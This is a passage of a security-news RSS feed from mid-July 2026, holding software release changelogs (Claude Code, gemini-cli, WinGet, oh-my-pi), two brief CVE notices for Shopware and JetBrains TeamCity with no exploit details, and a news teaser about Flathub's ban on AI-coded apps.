<li>fix(task): avoid boolean output schema subschemas by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916647111" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/5958" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/5958/hovercard" href="https://github.com/can1357/oh-my-pi/pull/5958">#5958</a></li>
<li>fix(stt): select a supported Linux ffmpeg input by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4914568211" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/5909" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/5909/hovercard" href="https://github.com/can1357/oh-my-pi/pull/5909">#5909</a></li>
<li>fix(tui): compact committed finalized transcript history by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4915924036" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/5943" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/5943/hovercard" href="https://github.com/can1357/oh-my-pi/pull/5943">#5943</a></li>
<li>fix(ai): normalize boolean tool schemas for Moonshot by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916584073" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/5955" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/5955/hovercard" href="https://github.com/can1357/oh-my-pi/pull/5955">#5955</a></li>
<li>fix(kimi): surface the 5h usage window reset time by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iacore/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iacore">@iacore</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916567403" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/5953" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/5953/hovercard" href="https://github.com/can1357/oh-my-pi/pull/5953">#5953</a></li>
<li>fix(mnemopi): lighter dispose consolidation so /quit returns quickly by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iacore/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iacore">@iacore</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4837166232" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/4843" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/4843/hovercard" href="https://github.com/can1357/oh-my-pi/pull/4843">#4843</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iacore/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iacore">@iacore</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916567403" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/5953" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/5953/hovercard" href="https://github.com/can1357/oh-my-pi/pull/5953">#5953</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v17.0.3...v17.0.4"><tt>v17.0.3...v17.0.4</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-48010 | Shopware prior 6.6.10.18/6.7.10.1 User Controller UserController.php upsertUser admin permission (EUVD-2026-45240)]]></title>
<description><![CDATA[A vulnerability was found in Shopware. It has been classified as critical. Affected is the function upsertUser of the file src/Core/Framework/Api/Controller/UserController.php of the component User Controller. The manipulation of the argument admin leads to permission issues.

This vulnerability ...]]></description>
<link>https://tsecurity.de/de/3677349/sicherheitsluecken/cve-2026-48010-shopware-prior-66101867101-user-controller-usercontrollerphp-upsertuser-admin-permission-euvd-2026-45240/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677349/sicherheitsluecken/cve-2026-48010-shopware-prior-66101867101-user-controller-usercontrollerphp-upsertuser-admin-permission-euvd-2026-45240/</guid>
<pubDate>Sat, 18 Jul 2026 04:39:02 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/shopware">Shopware</a>. It has been classified as <a href="https://vuldb.com/kb/risk">critical</a>. Affected is the function <code>upsertUser</code> of the file <em>src/Core/Framework/Api/Controller/UserController.php</em> of the component <em>User Controller</em>. The manipulation of the argument <em>admin</em> leads to permission issues.

This vulnerability is referenced as <a href="https://vuldb.com/cve/CVE-2026-48010">CVE-2026-48010</a>. Remote exploitation of the attack is possible. No exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.214]]></title>
<description><![CDATA[What's changed

Fixed single-segment dir/** allow rules like Edit(src/**) auto-approving writes to nested dir/ directories anywhere in the tree instead of only /dir
Fixed a permission-check bypass affecting commands run in Windows PowerShell 5.1 sessions
Fixed Bash permission checks to fail close...]]></description>
<link>https://tsecurity.de/de/3677323/downloads/v21214/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677323/downloads/v21214/</guid>
<pubDate>Sat, 18 Jul 2026 03:46:25 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Fixed single-segment <code>dir/**</code> allow rules like <code>Edit(src/**)</code> auto-approving writes to nested <code>dir/</code> directories anywhere in the tree instead of only <code>&lt;cwd&gt;/dir</code></li>
<li>Fixed a permission-check bypass affecting commands run in Windows PowerShell 5.1 sessions</li>
<li>Fixed Bash permission checks to fail closed on file-descriptor redirect forms that bash parses differently than the permission analyzer</li>
<li>Fixed Bash permission checks misjudging very long commands — commands over 10,000 characters now always prompt instead of running automatically</li>
<li>Fixed Bash permission checks treating zsh variable subscripts and modifiers in <code>[[ ]]</code> comparisons as inert text — these commands now prompt for approval</li>
<li>Fixed Bash permission checks to no longer auto-approve certain <code>help</code> and <code>man</code> commands that could run unsafe options, command substitutions, or backslash paths</li>
<li>Fixed permission prompts on remote sessions that could proceed before the local confirmation dialog</li>
<li>Added the EndConversation tool: Claude can end sessions with highly abusive users or jailbreak attempts, as on claude.ai since 2025 — see <a href="https://www.anthropic.com/research/end-subset-conversations" rel="nofollow">https://www.anthropic.com/research/end-subset-conversations</a></li>
<li>Added a periodic progress heartbeat for long-running tool calls that previously went silent</li>
<li>Added an ISO <code>modified</code> timestamp to memory file frontmatter</li>
<li>Added <code>message.uuid</code>, <code>client_request_id</code>, and <code>tool_source</code> attributes to OpenTelemetry log events for message-level correlation and tool provenance</li>
<li>Added <code>CLAUDE_CODE_OTEL_CONTENT_MAX_LENGTH</code> to configure the 60 KB truncation limit on OpenTelemetry content attributes</li>
<li>Added reasoning effort to the <code>subagentStatusLine</code> payload, so custom agent rows can render model and effort</li>
<li>Added permission prompts for <code>docker</code> commands (including the Podman <code>docker</code> shim) carrying daemon-redirect flags (<code>--url</code>, <code>--connection</code>, <code>--identity</code>, and Podman's remote mode) that previously ran without one</li>
<li>Fixed a crash when a GrowthBook feature evaluates to null, and a bug where a malformed flag payload could wipe the cached feature flags</li>
<li>Fixed Bash tool killing the Claude session when a <code>pkill -f</code> pattern accidentally matched the CLI's own process (Linux)</li>
<li>Fixed unbounded memory growth when <code>--settings</code> points at a device file or multi-GB file; oversized (&gt;2 MiB) settings files now fail at startup with a clear error</li>
<li>Fixed streaming turns failing with "Socket is closed" behind corporate proxies on Windows</li>
<li>Fixed stream-json output truncation at exit for slow-reading SDK/pipeline consumers; the exit drain now scales with queued bytes instead of a flat 2s cap</li>
<li>Fixed scheduled tasks refusing their own configured prompt as untrusted input — the fired prompt is now delivered as the session's assigned task</li>
<li>Fixed PowerShell tool commands hanging until timeout when a child process waited on standard input (Windows)</li>
<li>Fixed Python scripts under the PowerShell tool crashing with UnicodeDecodeError when reading non-UTF-8 data from standard input (Windows)</li>
<li>Fixed Python scripts run via the PowerShell tool crashing with UnicodeEncodeError on non-ASCII output, and PowerShell 7 error messages containing raw ANSI escape sequences (Windows)</li>
<li>Fixed the PowerShell tool reporting <code>where.exe</code>, <code>fc.exe</code>, and <code>diff.exe</code> as errors when they return a valid negative answer (Windows)</li>
<li>Fixed <code>&gt;</code> and <code>&gt;&gt;</code> under the PowerShell tool on Windows PowerShell 5.1 writing UTF-16LE files that other tools couldn't read as UTF-8</li>
<li>Fixed a displaced background daemon deleting its successor's control socket on shutdown, which made the next client kill the healthy replacement daemon</li>
<li>Fixed background sessions parked with <code>←</code> or <code>/background</code> and left idle keeping the background daemon and a worker process alive indefinitely</li>
<li>Fixed completed background sessions being impossible to remove via <code>claude rm</code> or the agent view once the background service had gone idle</li>
<li>Fixed background sessions dispatched from a non-git folder being impossible to delete from the agents view</li>
<li>Fixed reopening a stopped background session failing to restore its saved conversation when an unreadable folder exists in the session store</li>
<li>Fixed the Remote Control "session ready" push notification firing for sessions where Remote Control was not explicitly enabled</li>
<li>Fixed <code>/install-github-app</code> and the <code>/mcp</code> settings menu being blocked in agent-view sessions — they're now refused only in background sessions with no terminal attached</li>
<li>Fixed plugins enabled via the <code>--settings</code> CLI flag not loading (regression since v2.1.181)</li>
<li>Fixed feature flags going stale in long-running sessions after the OAuth token rotates</li>
<li>Fixed <code>/ultrareview</code> refusing to run in repos with no merge base — it now offers to review all tracked files</li>
<li>Fixed <code>claude update</code> and <code>claude doctor</code> hanging silently, and the <code>/status</code> System diagnostics section going blank, when a shell-config path is a directory</li>
<li>Fixed memory frontmatter values being silently truncated at an inline <code>#</code> when memory files are saved</li>
<li>Fixed session cost and token telemetry double-counting on streams that emit multiple cumulative <code>message_delta</code> frames</li>
<li>Fixed a spurious "check your network" warning that appeared while the advisor was thinking</li>
<li>Fixed hooks with exit code 2 not blocking as documented when the hook's stdout JSON fails schema validation</li>
<li>Fixed OTel log events emitted outside the turn's async context missing the interaction span's trace context</li>
<li>Fixed MCP transient errors during prompts/resources refresh clearing the server's slash commands and resources</li>
<li>Improved the <code>claude rc</code> workspace-trust error in the home directory to say trust there is never saved and to suggest running from a project directory</li>
<li>Changed single-segment <code>dir/**</code> hook <code>if:</code> conditions to match only <code>&lt;cwd&gt;/dir</code>; write <code>**/dir/**</code> for any-depth matching. <code>deny</code>/<code>ask</code> permission rules keep their any-depth match.</li>
<li>Changed <code>file</code> commands using <code>-m</code>/<code>--magic-file</code> or <code>-f</code>/<code>--files-from</code> to require permission instead of being auto-allowed as read-only</li>
<li>Changed keep-alive connection pooling to disable after a stale-connection error, so retries open a fresh socket</li>
<li>Changed SessionStart hooks to report source <code>"fork"</code> when a session begins as a fork instead of <code>"resume"</code></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v0.52.0-nightly.20260718.gacae7124b]]></title>
<description><![CDATA[What's Changed

feat(caretaker-triage): implement LLM triage orchestrator and container build by @chadd28 in #28345
refactor(cli): align macOS permissive Seatbelt profiles with deny-default model by @ompatel-aiml in #28424
fix(core): mitigate infinite ReAct loops and prompt injection loops by @am...]]></description>
<link>https://tsecurity.de/de/3677322/downloads/release-v0520-nightly20260718gacae7124b/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677322/downloads/release-v0520-nightly20260718gacae7124b/</guid>
<pubDate>Sat, 18 Jul 2026 03:46:24 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>feat(caretaker-triage): implement LLM triage orchestrator and container build by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4850788084" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28345" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28345/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28345">#28345</a></li>
<li>refactor(cli): align macOS permissive Seatbelt profiles with deny-default model by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ompatel-aiml/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ompatel-aiml">@ompatel-aiml</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4905648856" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28424" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28424/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28424">#28424</a></li>
<li>fix(core): mitigate infinite ReAct loops and prompt injection loops by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4913591703" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28429" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28429/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28429">#28429</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.52.0-nightly.20260716.g3ff5ba20f...v0.52.0-nightly.20260718.gacae7124b"><tt>v0.52.0-nightly.20260716.g3ff5ba20f...v0.52.0-nightly.20260718.gacae7124b</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Flathub’s AI slop ban looks like it was the right call]]></title>
<description><![CDATA[When Flathub banned AI-coded app submissions last month, some critics warned the platform was denying the future by dismissing a new wave of “vibe-coded” software as out-and-out “slop”. Well, new data suggests otherwise, as nearly three-quarters of the rejected apps are already dead, existing onl...]]></description>
<link>https://tsecurity.de/de/3677312/linux-tipps/flathubs-aislop-banlooks-like-it-was-theright-call/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677312/linux-tipps/flathubs-aislop-banlooks-like-it-was-theright-call/</guid>
<pubDate>Sat, 18 Jul 2026 03:37:30 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="406" height="232" src="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2024/11/flatpak-apps.jpg?resize=406%2C232&amp;ssl=1" class="attachment-post-list size-post-list wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2024/11/flatpak-apps.jpg?resize=350%2C200&amp;ssl=1 350w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2024/11/flatpak-apps.jpg?resize=406%2C232&amp;ssl=1 406w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2024/11/flatpak-apps.jpg?resize=840%2C480&amp;ssl=1 840w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2024/11/flatpak-apps.jpg?zoom=3&amp;resize=406%2C232&amp;ssl=1 1218w" sizes="(max-width: 406px) 100vw, 406px">When Flathub banned AI-coded app submissions last month, some critics warned the platform was denying the future by dismissing a new wave of “vibe-coded” software as out-and-out “slop”. Well, new data suggests otherwise, as nearly three-quarters of the rejected apps are already dead, existing only a few months. Linux developer Evangelos Paterakis, developer of Tuba, Turntable and others, did the digging, looking at 120 code repositories whose pull requests for inclusion on Flathub were rejected because of their heavy AI usage and given an “AI Slop” tag. Of those rejected, 88 are no longer under active development, many having deleted their […]</p>
<p>You're reading <a href="https://www.omgubuntu.co.uk/2026/07/flathub-ai-slop-ban-data">Flathub’s AI slop ban looks like it was the right call</a>, a blog post from <a href="https://www.omgubuntu.co.uk/">OMG! Ubuntu</a>. Do not reproduce elsewhere without permission.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-59796 | JetBrains TeamCity up to 2026.1.1 Permission Check permission (Nessus ID 327417)]]></title>
<description><![CDATA[A vulnerability classified as critical has been found in JetBrains TeamCity up to 2026.1.1. Affected by this vulnerability is an unknown functionality of the component Permission Check. This manipulation causes permission issues.

The identification of this vulnerability is CVE-2026-59796. It is ...]]></description>
<link>https://tsecurity.de/de/3677306/sicherheitsluecken/cve-2026-59796-jetbrains-teamcity-up-to-202611-permission-check-permission-nessus-id-327417/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677306/sicherheitsluecken/cve-2026-59796-jetbrains-teamcity-up-to-202611-permission-check-permission-nessus-id-327417/</guid>
<pubDate>Sat, 18 Jul 2026 03:36:37 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">critical</a> has been found in <a href="https://vuldb.com/product/jetbrains:teamcity">JetBrains TeamCity up to 2026.1.1</a>. Affected by this vulnerability is an unknown functionality of the component <em>Permission Check</em>. This manipulation causes permission issues.

The identification of this vulnerability is <a href="https://vuldb.com/cve/CVE-2026-59796">CVE-2026-59796</a>. It is possible to initiate the attack remotely. There is no exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows Package Manager 1.30.50-preview]]></title>
<description><![CDATA[This is a preview build of WinGet for those interested in trying out upcoming features and fixes. While it has had some use and should be free of major issues, it may have bugs or usability problems. If you find any, please help us out by filing an issue.
New in v1.30
Nothing yet.
Bug Fixes

Fixe...]]></description>
<link>https://tsecurity.de/de/3677248/downloads/windows-package-manager-13050-preview/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677248/downloads/windows-package-manager-13050-preview/</guid>
<pubDate>Sat, 18 Jul 2026 01:46:33 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This is a preview build of WinGet for those interested in trying out upcoming features and fixes. While it has had some use and should be free of major issues, it may have bugs or usability problems. If you find any, please help us out by <a href="https://github.com/microsoft/winget-cli/issues">filing an issue</a>.</p>
<h2>New in v1.30</h2>
<p>Nothing yet.</p>
<h2>Bug Fixes</h2>
<ul>
<li>Fixed a crash (<code>0x8000ffff</code>) when using <code>--disable-interactivity</code> with the Resume experimental feature enabled during install operations.</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>Apply latest loc patch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4565579611" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6262" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6262/hovercard" href="https://github.com/microsoft/winget-cli/pull/6262">#6262</a></li>
<li>Remove old Store certs, replace test use with generated ones by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4626150885" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6275" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6275/hovercard" href="https://github.com/microsoft/winget-cli/pull/6275">#6275</a></li>
<li>Add .gitattributes and normalize line endings across repo by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianon-sso/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianon-sso">@tianon-sso</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4600082935" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6267" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6267/hovercard" href="https://github.com/microsoft/winget-cli/pull/6267">#6267</a></li>
<li>Renormalize by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4633514887" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6276" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6276/hovercard" href="https://github.com/microsoft/winget-cli/pull/6276">#6276</a></li>
<li>Change event type by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4615424908" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6273" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6273/hovercard" href="https://github.com/microsoft/winget-cli/pull/6273">#6273</a></li>
<li>Update minor version, archive release notes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4642943454" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6279" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6279/hovercard" href="https://github.com/microsoft/winget-cli/pull/6279">#6279</a></li>
<li>Align .gitattributes and .editorconfig by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4668279620" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6285" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6285/hovercard" href="https://github.com/microsoft/winget-cli/pull/6285">#6285</a></li>
<li>Doc manifest schema process by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4643557474" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6280" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6280/hovercard" href="https://github.com/microsoft/winget-cli/pull/6280">#6280</a></li>
<li>Fix crash with --disable-interactivity and EFResume by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4703166998" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6302" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6302/hovercard" href="https://github.com/microsoft/winget-cli/pull/6302">#6302</a></li>
<li>Fix configuration elevation validation for standard flow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4708403993" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6307" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6307/hovercard" href="https://github.com/microsoft/winget-cli/pull/6307">#6307</a></li>
<li>Bump markdown-it from 14.1.1 to 14.2.0 in /tools/WinGetLogViewer by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4686342275" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6296" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6296/hovercard" href="https://github.com/microsoft/winget-cli/pull/6296">#6296</a></li>
<li>Bump undici from 7.25.0 to 7.28.0 in /tools/WinGetLogViewer by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4705714856" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6305" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6305/hovercard" href="https://github.com/microsoft/winget-cli/pull/6305">#6305</a></li>
<li>Bump form-data from 4.0.5 to 4.0.6 in /tools/WinGetLogViewer by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4710948701" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6311" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6311/hovercard" href="https://github.com/microsoft/winget-cli/pull/6311">#6311</a></li>
<li>Clean vcpkg artifacts on solution clean by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4754061053" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6339" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6339/hovercard" href="https://github.com/microsoft/winget-cli/pull/6339">#6339</a></li>
<li>Fix punctuation in error messages by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/idleberg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/idleberg">@idleberg</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4715127350" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6314" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6314/hovercard" href="https://github.com/microsoft/winget-cli/pull/6314">#6314</a></li>
<li>Fix cpprest checked iterator build error by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4703039819" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6301" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6301/hovercard" href="https://github.com/microsoft/winget-cli/pull/6301">#6301</a></li>
<li>Undo normalization of external files by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4753826668" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6336" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6336/hovercard" href="https://github.com/microsoft/winget-cli/pull/6336">#6336</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianon-sso/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianon-sso">@tianon-sso</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4600082935" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6267" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6267/hovercard" href="https://github.com/microsoft/winget-cli/pull/6267">#6267</a></li>
